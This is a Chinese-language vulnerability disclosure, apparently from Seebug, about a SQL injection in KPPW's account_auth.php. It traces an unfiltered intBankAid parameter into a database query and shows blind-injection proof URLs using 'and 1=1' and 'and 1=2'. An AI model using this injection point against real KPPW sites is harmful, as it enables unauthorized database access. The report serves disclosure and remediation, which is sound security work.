### 简要描述：
KPPW最新版SQL注入漏洞二
### 详细说明：
KPPW最新版SQL注入漏洞二
文件/control/user/account_auth.php
```
$arrAllowAuth = array('realname','enterprise','bank','mobile','email');
if ($code&&in_array($code,$arrAllowAuth)) {
$code or $code = $keys ['0'];
$code or kekezu::show_msg ( $_lang ['param_error'], "index.php?do=auth", 3, '', 'warning' );
$auth_class = "keke_auth_" . $code . "_class";
$objAuth = new $auth_class ( $code );
$auth_item = $arrAllAuthItems [$code];
$auth_dir = $auth_item ['auth_dir'];
$arrAuthInfo = $objAuth->get_user_auth_info ( $gUid, 0, $intBankAid );
require S_ROOT . "/auth/$code/control/index.php";
require keke_tpl_class::template ( 'auth/' . $code . '/tpl/' . $_K ['template'] . '/'.$step );
die;
} else {
$real_pass = keke_auth_fac_class::auth_check ( 'enterprise', $gUid ) or $real_pass = keke_auth_fac_class::auth_check ( "realname", $gUid );
$arrHasAuthItem = keke_auth_fac_class::get_auth ( $gUserInfo );
$arrUserAuthInfo = $arrHasAuthItem ['info'];
}
```
仔细看看这里的：
```
$arrAuthInfo = $objAuth->get_user_auth_info ( $gUid, 0, $intBankAid );
```
这里的变量$intBankAid进入了函数get_user_auth_info函数
跟进函数get_user_auth_info
文件/lib/sys/keke_auth_base_class.php：
```
public function get_user_auth_info($uid,$is_username=0,$show_id=''){
$sql="select * from ".TABLEPRE.$this->_auth_table_name;
if($uid){
$is_username=='0' and $sql.=" where uid = '$uid' " or $sql.=" where username = '$uid' ";
$show_id and $sql.=" and ".$this->_primary_key."=".$show_id;
$sql .=" order by $this->_primary_key desc";
$data = db_factory::query($sql);
if(sizeof($data)==1){
return $data[0];
}else{
return $data;
}
}else{
return array();
}
}
```
接收到的变量$intBankAid——$show_id，然后$show_id进入$sql
整个过程中变量$intBankAid未过滤，最后进入$sql进入数据库，导致sql注入漏洞
### 漏洞证明：
盲注证明：
```
http://localhost/KPPW2520141118UTF-8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147 and 1=1
```
[<img src="https://images.seebug.org/upload/201412/06225747722702352c15a78e45d58540772776b1.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/06225747722702352c15a78e45d58540772776b1.png)
```
http://localhost/KPPW2520141118UTF-8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147 and 1=2
```
[<img src="https://images.seebug.org/upload/201412/06225800b5fa7be4805496855e497bac4340f787.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/06225800b5fa7be4805496855e497bac4340f787.png)
数据库执行记录：
[<img src="https://images.seebug.org/upload/201412/062258161511485ba1aadc5d69092d4b3ef5548d.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/062258161511485ba1aadc5d69092d4b3ef5548d.png)
京公网安备 11010502034610号
暂无评论